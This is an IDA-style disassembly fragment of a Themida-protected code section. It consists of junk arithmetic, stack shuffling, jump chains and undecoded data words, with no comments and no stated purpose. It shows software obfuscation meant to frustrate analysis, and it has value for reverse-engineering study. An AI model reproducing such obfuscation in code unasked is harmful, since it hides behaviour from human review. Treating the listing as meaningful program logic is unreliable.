		dd 805A0AC5h, 0E5C035CDh, 0DF58002h, 0FDAE952h,	34FF0000h
		dd 3361E924h, 0C5810000h, 631F7DB0h, 6810ED81h,	0C5817C87h
		dd 5A08A8BDh, 39D1BA52h, 0D1015D00h, 8324148Bh,	0E90104C4h
		dd 39D1E981h, 505D5D00h, 28CAE952h, 0D8280000h,	5229045Bh
		dd 0F0284DB6h, 1D68E9h,	4C38100h, 87000000h, 0E95C241Ch
		dd 1282h, 88DCF480h, 24048BE3h,	4C481h,	0D8000000h, 0EC835B66h
		dd 2AC3E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_615C6A:				; CODE XREF: Themida_:00616C63j
		pop	esi
		add	edx, 16E329BEh
		inc	edx
		and	edx, 17A632B2h
		inc	edx
		jmp	loc_612CAB
; ---------------------------------------------------------------------------


loc_615C7E:				; CODE XREF: Themida_:00611467j
		push	3BF0h
		mov	[esp], edi
		jmp	loc_6104DA
; ---------------------------------------------------------------------------
		db 0ADh
		dd 24F2E9h, 243C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 365F1408h
		inc	esi
		jmp	loc_61396D
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd offset dword_455248+2EA1h
		dd 9AF78100h, 8103E957h, 0CB42D4C7h, 5FFB89CEh,	0FFECF9E9h
		dd 9C04E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_615CCA:				; CODE XREF: Themida_:00611575j
		pop	edi
		and	eax, ebx
		pop	ebx
		shr	eax, 0Ah
		xor	eax, ecx
		push	3390h
		mov	[esp], eax
		push	7DFCh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 3E6F3DFEh
		dec	edx
		jmp	loc_613FD5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 87h
		dd 68505550h, 0EF87F2Dh, 0FFA6EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_615D09:				; CODE XREF: Themida_:00615753j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_613E87
; ---------------------------------------------------------------------------
		dd 0B60F66h, 0FFD9C1E9h, 0C38143FFh, 16645A67h,	295BD831h
		dd 0ED00E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_615D32:				; CODE XREF: Themida_:00619869j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		push	ebp
		mov	ebp, 2
		sub	edi, 1DD159FEh
		add	edi, ebp
		add	edi, 1DD159FEh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		dw 495Bh
		dd 9FC4E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_615D7A:				; CODE XREF: Themida_:006182F4j
		dec	edx
		push	ebx
		mov	ebx, 2E5064DFh
		and	ebx, 17205704h
		or	ebx, 63C148B5h
		and	ebx, 30493824h
		jmp	loc_618662
; ---------------------------------------------------------------------------
		dd 4C381h, 0EB830000h, 4EC8104h, 0E9000000h, 0FFFFDE93h
		dd 0E975C480h, 2C79h
; ---------------------------------------------------------------------------


loc_615DB4:				; CODE XREF: Themida_:006185EBj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_6162A8
; ---------------------------------------------------------------------------
		db 1
		dd 0DFBA52F1h, 138BD44h, 0E9815AD1h, 598C2E2Ah,	0A4EEE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_615DDA:				; CODE XREF: Themida_:00613C2Fj
		mov	esi, [esp]
		jmp	loc_61A5F5
; ---------------------------------------------------------------------------


loc_615DE2:				; CODE XREF: Themida_:00613CFAj
		push	edi
		mov	edi, 72941E84h
		jmp	loc_60F8EE
; ---------------------------------------------------------------------------


loc_615DED:				; CODE XREF: Themida_:0060F8E9j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		pop	ebx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_615331
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FFBEA4E9h, 48B66FFh, 4EC8324h, 54243489h, 35E9575Eh
		dd 5800002Eh, 691968h, 24348900h, 800433BEh, 5EF00105h
		dd 0FFC01AE9h, 4EE81FFh, 87000000h, 77E92434h, 59000018h
		dd 25F68h, 240C8900h, 5016E9h, 0E4685D00h, 8900000Eh, 34FF2404h
		dd 0ED5BE924h, 0C87FFFFh, 0AB21E924h, 2D68FFFFh, 89000041h
		dd 682414h, 8B000000h, 0C4812414h, 4, 1EDEC281h, 0C2016CA9h
		dd 1EDEEA81h, 15E96CA9h, 89000024h, 4329E9E1h, 77FF0000h
		dd 11589D1Ch, 0E99C2404h, 0FFFF9A26h, 494743B9h, 0C1D1F733h
		dd 0C18103E9h, 0E66928EDh, 44BCE9h, 7DEB8100h, 89398100h
		dd 0D3015BDAh, 8124148Bh, 4C4h,	4C38300h, 2474FF53h, 0E831E904h
		dd 0E883FFFFh, 24048704h, 0FFEB1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_615EE9:				; CODE XREF: Themida_:0061A0BAj
		push	edx
		push	esi
		push	2D666EC0h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 2BFF2512h
		shl	esi, 3
		sub	esi, 0DDF132B8h
		mov	edx, esi
		pop	esi
		add	edx, 0A926D42Ch
		add	esi, edx
		jmp	loc_61162F
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 81000000h,	4C5h, 242C8700h, 3E6CE95Ch, 52570000h
		dd 0FFD3E8E9h, 241C8BFFh, 5604C483h, 0FFAFC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_615F41:				; CODE XREF: Themida_:006127AEj
		pop	ebp
		jmp	loc_61A2C7
; ---------------------------------------------------------------------------
aTs@w		db 'T@W',0
		dd 4C48100h, 0E9000000h, 0FFFFC99Fh, 68243C8Bh,	19D5h
		dd 89240489h, 405E0h, 0C0830000h, 24048704h, 0FFC3D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_615F75:				; CODE XREF: Themida_:0061278Dj
		pop	ecx
		sub	edi, 5BAB5156h
		push	ecx
		mov	ecx, 4547DCBh
		xor	edi, ecx
		pop	ecx
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 18h
		jmp	loc_617A7D
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0B0h
		dd 0FFD203E9h, 4C481FFh, 51000000h, 0C1815954h,	4, 4C181h
		dd 0C870000h, 0C2815C24h, 4, 2B850h, 0EA810000h, 431D6A48h
		dd 0C281C201h, 431D6A48h, 24148758h, 4A65E95Ch,	50590000h
		dd 4B8h, 0B8E900h, 0AFB30000h, 0E959CB00h, 1D13h, 2474FF56h
		dd 48F5E04h, 24248B24h,	24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_612565
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 16h
		dd 4A1B5D22h, 52CCCA81h, 36E91FFEh
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61602B:				; CODE XREF: Themida_:00615B43j
		not	esi
		add	esi, 0BD37F5h
		push	esi
		xor	dword ptr [esp], 57F24973h
		pop	ecx
		xor	ecx, 57F24973h
		pop	esi
		add	ecx, 669633B6h
		add	ecx, edi
		jmp	loc_610170
; ---------------------------------------------------------------------------


loc_616050:				; CODE XREF: Themida_:006187A9j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_610958
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF57E2h, 81000000h,	0B76CEFEAh, 81FA0129h, 0B76CEFC2h
		dd 2417E929h, 8B660000h, 89522404h, 4EC83E2h, 0BB241C89h
		dd 4, 0FFAD28E9h, 310FBDFFh, 0E8299FBEh, 0FFFB0FE9h, 248B66FFh
		dd 2938E924h, 0C7010000h, 129E6858h, 3C890000h,	2474FF24h
		dd 48F5F04h, 24248B24h,	0E930FF66h, 0FFFF980Ah,	22C668h
		dd 241C8900h, 18456851h, 1C890000h, 806FB324h, 0EB80D8CBh
		dd 8BD98816h, 0C483241Ch, 0EDC98004h, 31E95066h, 8BFFFFF0h
		dd 0F7662424h, 0BD6866E1h, 0C3EDE96Bh, 0D301FFFFh, 60EAEB81h
		dd 148B0338h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 0FFC7F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61611D:				; CODE XREF: Themida_:00610516j
		mov	ebx, 489647B2h
		sub	ebx, 44BF6DFAh
		jmp	loc_6165D0
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 0CAA9E95Ah, 0EF81FFFFh, 1826345Ah,	8AAFF781h
		dd 0FD014091h, 240C8B5Fh, 0E904C483h, 1C62h, 6B5CEB81h
		dd 33FF1DCCh, 0C5243481h, 59499726h, 19CCE9h, 0E2BF5700h
		dd 0E9091175h, 0FFFFB1CBh, 8EAC158h, 1CDDE281h,	0C281389Ah
		dd 73A83CC9h, 4A0BC281h, 0F0E96E00h, 0FF000046h, 0FF042474h
		dd 48B2434h, 0B354E924h, 2BE9FFFFh, 0B9FFFF97h,	2E7A3702h
		dd 505DE931h, 0FFCD8FE9h, 240C33FFh, 0E9240C31h, 13BBh
		dd 0B62A94BAh, 1FF28107h, 8175801Eh, 0FA078AC2h, 5AF2813Dh
		dd 0F7111340h, 3285E9DAh, 0BF570000h, 5A8E2352h, 415FF929h
		dd 0FFC887E9h, 0E7E950FFh, 0F6000042h, 0FEDBF6D3h, 59B252CBh
		dd 0FFAEE0E9h, 0A0566FFh, 0E829667Eh, 7E0A2D66h, 20E9555Dh
		dd 81FFFFF3h, 4ECh, 24248900h, 4B850h, 44010000h, 1BE90424h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_616227:				; CODE XREF: Themida_:0060F938j
		push	ebp
		jmp	loc_614E6D
; ---------------------------------------------------------------------------


loc_61622D:				; CODE XREF: Themida_:00617A9Dj
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		pop	ebp
		xchg	eax, edi
		push	1A32h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_619B3B
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 71h
		dd 31FFFFF8h, 0FAE95BDFh, 5FFFFF6h, 99E0E68h, 682DF829h
		dd 5F099E0Eh, 9F4A9E2Dh, 1CC92D5Fh, 0D80138D6h,	0A59BD55h
		dd 0C5810031h, 42412434h, 4E5C145h, 0F703E5C1h,	36ED81D5h
		dd 0E98E129Ch, 54A1h
; ---------------------------------------------------------------------------


loc_6162A8:				; CODE XREF: Themida_:00615DBEj
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
aSQ		db '[Q',0
		dw 100h
		dd 24348BF0h, 2D04C483h, 240529D9h, 0BA52E801h,	7B4E7B85h
		dd 2181E281h, 0E2817B4Bh, 4F052D1Bh, 4A7DEA81h,	0C281322Ch
		dd 0B315355h, 535AD001h, 6B7752BBh, 0CEB8111h, 0E92C6117h
		dd 4CBCh, 207F83h, 0E73D840Fh, 0E957FFFFh, 382Ah, 0BC0E29B8h
		dd 8BC72158h, 0C4812404h, 4, 0C9E7814Fh, 5574F46Ah, 3F28CCBDh
		dd 66C5817Fh, 0E93DA85Fh, 0A1Fh
; ---------------------------------------------------------------------------


loc_61632C:				; CODE XREF: Themida_:00614931j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	6C7h
		mov	[esp], ebx
		mov	ebx, 730B0B40h
		sub	ebx, 38BE64EFh
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 621A64F3h
		jmp	loc_613037
; ---------------------------------------------------------------------------
		dd 8106EFC1h, 5E0053CFh, 0C1D7F773h, 0EF8105E7h, 903B53FEh
		dd 0E95FFA01h, 11EBh, 453C780h,	2CF80091h, 0F3E95B91h
		dd 5FFFFCEh, 5F03BD5h, 44CABE56h, 0E681069Ah, 70576A9Dh
		dd 8104EEC1h, 0CDCD5DEEh, 3E962D1Ch, 0F0012F6Eh, 6E3E9605h
		dd 0EAD6E92Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6163AA:				; CODE XREF: Themida_:006134BDj
		add	edx, ebp
		pop	ebp
		jmp	loc_61BDB8
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 0AE68CCB6h, 0E9000013h, 0FFFFB6F5h, 7645BF57h, 0FD296830h
		dd 0EC815A5Fh, 4, 0FF242C89h, 8B042474h, 0C483242Ch, 0EA1EE904h
		dd 0CF01FFFFh, 3E95359h, 89000009h, 8B542434h, 0C4832434h
		dd 4EBEE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6163FA:				; CODE XREF: Themida_:00612204j
		push	esi
		jmp	loc_6127E6
; ---------------------------------------------------------------------------
		dd 4C681h, 0CBE90000h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61640B:				; CODE XREF: Themida_:0061AEEDj
		add	esi, ebp
		add	esi, 58571C3Fh
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 10h
		jmp	loc_61006E
; ---------------------------------------------------------------------------


loc_616424:				; CODE XREF: Themida_:00617EB7j
		mov	ebp, 3A064129h
		shr	ebp, 8
		inc	ebp
		jmp	loc_6132FE
; ---------------------------------------------------------------------------


loc_616432:				; CODE XREF: Themida_:0061B0ADj
		push	esi
		mov	esi, esp
		jmp	loc_6108FB
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4E64753Eh, 0A4E9FB01h, 89000042h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 0EDDAE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61645E:				; CODE XREF: Themida_:00610BD8j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4C381h, 0BE560000h, 4, 875EF301h, 248B241Ch,	9DCDE924h
		dd 0CE80FFFFh, 865266F7h, 0F601247Ch, 247C86D7h, 805A6601h
		dd 9868ABF6h, 89000022h, 2CB42404h, 8087CC80h, 0EC8001ECh
		dd 8ECC02Ah, 833EC80h, 24048BE6h, 847E9h, 5FF88900h, 7091BE56h
		dd 0C8E9788Eh, 5AFFFFBEh, 0FFD2E7E9h, 3FAB8FFh,	40255780h
		dd 0D28BB05h, 46F54848h, 502E0C1h, 62E3527Fh, 8814E35h
		dd 54C781ADh, 29765307h, 54EF81C7h, 58765307h, 0E95FFA01h
		dd 0FFFF99CDh, 0D324248Bh, 0E99C2424h, 0FFFF93BEh, 8904EC83h
		dd 74FF2404h, 8F580424h, 0AEE92404h, 81000033h,	8F510C5h
		dd 8BEB01CFh, 0C483242Ch, 0F70BE904h, 575CFFFFh, 0AC3CB8BFh
		dd 68E94F54h, 0F7FFFFB9h, 0D32BE9DAh, 0E289FFFFh, 4C281h
		dd 0B8500000h, 6B643666h, 4393E9h, 89535C00h, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 2404095Ch, 9354E99Ch, 0D501FFFFh
		dd 8124148Bh, 4C4h, 0F635E900h,	2B9FFFFh, 81000000h, 0B75491C2h
		dd 0D4C28138h, 11A9B66h, 0D4EA81CAh, 0E91A9B66h, 0FFFFF5F9h
		dd 54242C89h, 0E9242C8Bh, 0FFFFD7C6h
; ---------------------------------------------------------------------------


loc_6165B4:				; CODE XREF: Themida_:0061742Ej
		xor	ebp, ecx
		pop	ecx
		mov	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ecx, eax
		pop	eax
		push	edi
		mov	edi, 16D00445h
		neg	edi
		jmp	loc_60FA88
; ---------------------------------------------------------------------------


loc_6165D0:				; CODE XREF: Themida_:00616128j
		shr	ebx, 5
		xor	ebx, 1F84C7BDh
		shl	ebx, 1
		xor	ebx, 2BECCB7Ah
		jmp	loc_61AB1D
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 5412ED81h, 7CE93425h, 5CFFFFE6h, 0D0F6C186h,	5266C186h
		dd 0C188CA88h, 1BA2E9h,	24248B00h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_615297
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0EC8104C4h, 4, 13D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_616625:				; CODE XREF: Themida_:00617F3Fj
		add	esp, 4
		jmp	loc_61B82A
; ---------------------------------------------------------------------------


loc_61662D:				; CODE XREF: Themida_:00619C93j
		mov	[esp], esi
		mov	esi, esp
		push	edx
		push	eax
		mov	eax, 4FAF4D46h
		jmp	loc_613D2B
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 48B5C24h, 5F545724h,	0FFB587E9h, 8BCD01FFh, 0C481240Ch
		dd 4, 0E904EC83h, 34E3h
; ---------------------------------------------------------------------------


loc_616660:				; CODE XREF: Themida_:0061966Cj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	7CF5h
		mov	[esp], ecx
		push	ebp
		push	edx
		mov	edx, 1D5A4472h
		not	edx
		add	edx, 638DA6A5h
		mov	ebp, edx
		jmp	loc_613BE8
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0E7E95424h, 5DFFFFA0h, 8B24048Fh, 0F662424h,	9C2404ABh
		dd 0E9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_6166A5:				; CODE XREF: Themida_:0061996Bj
		mov	[esp], ebx
		mov	ebx, 38FC54ABh
		mov	esi, 1AACAEC7h
		add	esi, 4BF07A75h
		add	esi, ebx
		sub	esi, 4BF07A75h
		pop	ebx
		push	ecx
		mov	ecx, 5D8C6591h
		xor	ecx, 7E1C049Dh
		jmp	loc_61A2ED
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 89242C89h, 46BE56E5h,	8135C11Ah, 0C11A42EEh
		dd 5EF50135h, 0B4C6E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6166F6:				; CODE XREF: Themida_:0061A4FFj
		pop	esp
		mov	[esp], ebx
		jmp	loc_616D7C
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 3549E9h
		db 0
; ---------------------------------------------------------------------------


loc_61670D:				; CODE XREF: Themida_:0061445Cj
		push	eax
		push	2C456FDFh
		mov	eax, [esp]
		jmp	loc_6131A0
; ---------------------------------------------------------------------------
		db 54h
		dd 5624348Bh, 0C681E689h, 4, 0FFC97CE9h, 0B9515AFFh, 4
		dd 5759CA01h, 8953B9BFh, 11E9470Ah, 33FFFFFCh, 2CE92414h
		dd 5FFFFFB2h, 5C240C87h, 0E9240C89h, 0FFFF9176h, 0FAE9555Ch
		dd 4000001h, 66790422h,	68D82859h, 24AFh, 0B7241C89h, 0E9C7FE57h
		dd 88Dh, 81E68956h, 4C6h, 4B95100h, 0E9000000h,	0FFFFBEF8h
		dd 2BEh, 8BF20100h, 0C4812434h,	4, 31241433h, 14332414h
		dd 0CC63E924h, 0C481FFFFh, 4, 2C381h, 0A3680000h, 8900006Bh
		dd 74FF241Ch, 1C8B0424h, 0EFC3E924h, 0F766FFFFh, 0E99C241Ch
		dd 0FFFF90FAh
; ---------------------------------------------------------------------------


loc_6167D4:				; CODE XREF: Themida_:0061B8E0j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 66h,	51h, 50h
		dd 0FE47B353h, 5EF380C3h, 80EACB80h, 0D888D5EBh, 2C46E95Bh
		dd 0EF000000h, 0FFC633E9h, 5BDF01FFh, 0FFF7D1E9h, 4C783FFh
		dd 5C243C87h, 4EC81h, 60E90000h, 87000035h, 0F75C2434h
		dd 8FCD81D5h, 0E9494302h, 0FFFFFA2Dh, 0F572E95Bh, 15B6FFFFh
		dd 0FFB8E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_616841:				; CODE XREF: Themida_:0061817Ej
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_6134E5
; ---------------------------------------------------------------------------
		dd 5BD8015Fh, 310FE9h
		db 0
; ---------------------------------------------------------------------------


loc_616861:				; CODE XREF: Themida_:0061A729j
		add	edx, esi
		jmp	loc_611D91
; ---------------------------------------------------------------------------
		dd 0C728A9B0h, 8BFD3058h, 0C483241Ch, 0E9D5F604h, 0FFFFB5BBh
; ---------------------------------------------------------------------------


loc_61687C:				; CODE XREF: Themida_:0061BE86j
		mov	esp, [esp]
		sub	edi, 3E1A2F0Fh
		push	0E5Bh
		mov	[esp], ebp
		mov	ebp, 9490278h
		not	ebp
		shl	ebp, 4
		push	edx
		push	edi
		jmp	loc_610ED1
; ---------------------------------------------------------------------------
		dw 2BE9h
		dd 66FFFF90h, 68240C8Bh, 5782h,	0FFB48AE9h, 0E9E954FFh
		dd 8100002Ch, 4C2h, 0D7ABE900h,	0E6D1FFFFh, 0C681D6F7h
		dd 5567089Bh, 0B373BD55h, 0EE317C68h, 8BF5895Dh, 0F2682434h
		dd 89000012h, 0A8E9243Ch
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6168E7:				; CODE XREF: Themida_:00619DDEj
		add	edi, ebp
		pop	ebp
		mov	edx, edi
		jmp	loc_613139
; ---------------------------------------------------------------------------
		db 0BFh, 1Ah, 32h
		dd 0EFC12E0Ch, 6DF78105h, 47115B3Bh, 0D7F7DFF7h, 3431E9h
		dd 0F2E95C00h, 0E9FFFFDEh, 0FFFF8FBAh, 2C781h, 3C330000h
		dd 243C3124h, 8B243C33h, 8B662424h, 0EC812404h,	4, 54B1E9h
		dd 357D0500h, 0E8016B41h, 2DD8E9h
		db 0
; ---------------------------------------------------------------------------


loc_616941:				; CODE XREF: Themida_:006104E2j
		push	dword ptr [esp]
		jmp	loc_61966B
; ---------------------------------------------------------------------------


loc_616949:				; CODE XREF: Themida_:00613D3Ej
		pop	edx
		add	esi, 4
		jmp	loc_613A88
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 3FB0E9h, 81E58900h, 4C5h, 4C58300h, 8904EC83h, 74FF242Ch
		dd 8F5D0424h, 0E95C2404h, 0FFFFF74Ch, 75B5E681h, 0CE817997h
		dd 3D1B51B8h, 8108EEC1h, 0C264AFC6h, 5EF101FFh,	5104C183h
		dd 42474FFh, 0FFEC76E9h, 24048BFFh, 504C483h, 18A01C24h
		dd 4B25F32Dh, 5E80111h,	114B25F3h, 0A01C242Dh, 242C8B18h
		dd 2D04C483h, 229062C8h, 219B68h, 241C8900h, 4AEC4A68h
		dd 2434FF2Bh, 56241C8Bh, 0E9E689h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6169DF:				; CODE XREF: Themida_:006137ECj
		and	eax, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_61830A
; ---------------------------------------------------------------------------
		dw 5053h
		dd 8150C889h, 7D0F2434h, 815B6BADh, 0AD7D0FF3h,	0DA89586Bh
		dd 0E9241C8Bh, 170Ch, 5C24048Fh, 0E9241C89h, 0FFFFF7F3h
		dd 4C481h, 0E9560000h, 0FFFFE43Fh, 0F3CF815Eh, 81395A70h
		dd 0A8464AEFh, 5DC7811Bh, 128C44Fh, 89E95FFBh, 87FFFFAEh
		dd 0FF5C2404h, 48B2434h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 0E289525Ch, 4B850h, 0C2010000h, 4EC8158h
		dd 89000000h, 0E952243Ch, 280Ah
; ---------------------------------------------------------------------------


loc_616A78:				; CODE XREF: Themida_:00611432j
		and	edx, 4887370h
		sub	edx, 24C2E30h
		jmp	loc_616BC9
; ---------------------------------------------------------------------------
		db 0ACh, 68h, 5Eh
		dd 0E900001Dh, 0FFFFE4A3h, 0E9241487h, 0FFFFFCBCh, 2956F581h
		dd 66E93891h, 0ADFFFFADh, 0BB95156h, 8126CD10h,	8C035CE1h
		dd 81D1F719h, 6C2B49E1h, 0C98157h, 8170D819h, 23ACF1h
		dd 28C18137h, 89F8B147h, 0BAE959CEh, 50000050h,	8B5526B8h
		dd 21012D10h, 0D0F740BBh, 2FD7E9h, 5BD80000h, 0D8001B04h
		dd 0C9E91B2Ch, 0F7FFFFB7h, 3D2D48D0h, 35788626h, 64CD49DFh
		dd 0FBEDA05h, 50C38138h, 1565948h, 50EB81C3h, 58565948h
		dd 555BDF21h, 0BDh, 89FD2900h, 0EC835DEFh, 24348904h, 2D6017BEh
		dd 94C1E938h, 4ACFFFFh,	72B6528Eh, 0EE80C6FEh, 43D2E96Fh
		dd 3CBE0000h, 290CE62Ch, 2434FFF2h, 4C4835Eh, 0E956C201h
		dd 0F06h, 2EC81h, 89660000h, 0E952241Ch, 2263h,	83241C8Bh
		dd 0E78804C4h, 0DFF78058h, 48BC730h, 0C4E95324h, 0F6FFFFF8h
		dd 8CE952D5h, 0BF000016h, 34255412h, 0E95FFD01h, 0FFFFFA4Eh
		dd 0C15BDE31h, 0EC8302EEh, 24048904h, 0EE36ABB8h, 6F380D2Fh
		dd 0DB254916h, 0E959E76Dh, 8D8h, 295AD301h, 9DEB81EBh
		dd 5D04FE3Eh, 0FFCE4FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_616BC9:				; CODE XREF: Themida_:00616A84j
		push	esi
		mov	esi, 1B3F2D1h
		jmp	loc_61B0BA
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 0E904EA83h, 0FFFFB1B9h, 335DEF01h, 0DAE9243Ch
		dd 0FEFFFFA8h, 98F480C4h, 8858E630h, 0F8005AF7h, 0B574E95Bh
		dd 0E981FFFFh, 0D18495EEh, 5159C829h, 468C68h, 242C8900h
		dd 2BBEE9h, 31595800h, 2DE068D2h, 3C890000h, 34106824h
		dd 0C890000h, 194FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_616C32:				; CODE XREF: Themida_:0061360Bj
		add	edi, 705B7B37h
		sub	edi, 0F9B556Ah
		sub	edi, 617452B5h
		add	edi, 3E1A2F0Fh


loc_616C4A:				; DATA XREF: ___:off_4442E4o
		jmp	loc_61530D
; ---------------------------------------------------------------------------


loc_616C4F:				; CODE XREF: Themida_:00618877j
		pop	ecx
		push	dword ptr [edi+eax*4]
		jmp	loc_613D1E
; ---------------------------------------------------------------------------
aPtxws6		db 'PTXW6,',0
		db 0
; ---------------------------------------------------------------------------


loc_616C61:				; CODE XREF: Themida_:00611B0Bj
		mov	edx, esi
		jmp	loc_615C6A
; ---------------------------------------------------------------------------
		dd 0FF8C61E9h, 4C483FFh, 9FE9DAF7h, 8900003Eh, 4FE92404h
		dd 68FFFF8Ch, 4, 0E3EE815Ah, 15D954Dh, 0E3C681D6h, 0FF5D954Dh
		dd 515A2434h, 40C4E9h, 221BB00h, 0E3C1704Ah, 0C5E94B02h
		dd 0FF000045h, 48B2434h, 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_6123BB
; ---------------------------------------------------------------------------
		dd 4247C01h, 4244481h, 60C713D5h, 4246C81h, 17A31916h
		dd 0FFF283E9h, 2434FFFFh
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_612A08
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 4DFAE952h, 43BB0000h, 4B363906h, 5109F381h
		dd 0DF012445h, 0E9C7295Bh, 1E98h, 4C481h, 3E90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_616D0F:				; CODE XREF: Themida_:0061739Ej
		push	1F54h
		jmp	loc_6198AA
; ---------------------------------------------------------------------------


loc_616D19:				; CODE XREF: Themida_:0061856Dj
		xor	edx, 1FD5365Dh
		mov	ebp, [esp]
		add	esp, 4
		sub	[esp+4], edx
		jmp	loc_61546C
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 83000000h,	3C3304C7h, 243C3124h, 8B243C33h
		dd 57E92424h, 0D1FFFFE8h, 0EEED81EDh, 456CD053h, 238FE9h
		dd 66556600h, 664E2EBDh, 3EE9E801h, 81FFFFE9h, 2EDh, 242C8700h
		dd 0FF8E82E9h, 0E99C51FFh, 0FFFF8B52h
; ---------------------------------------------------------------------------


loc_616D7C:				; CODE XREF: Themida_:006166FAj
		dec	dword ptr [esp]
		pop	ebx
		add	ebx, 3A7C1803h
		shr	ebx, 1
		push	edi
		mov	edi, 71975CD2h
		neg	edi
		shl	edi, 6
		sub	edi, 44B0068Fh
		jmp	$+5
		sub	edi, 1
		jmp	loc_617460
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0D5875A24h, 0EDC1D5F7h, 0A0C58102h, 317358D0h, 3B43E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_616DBE:				; CODE XREF: Themida_:006179C7j
		push	ebx
		mov	ebx, 29EA1471h
		and	ebx, 654B26ADh
		jmp	loc_61AB27
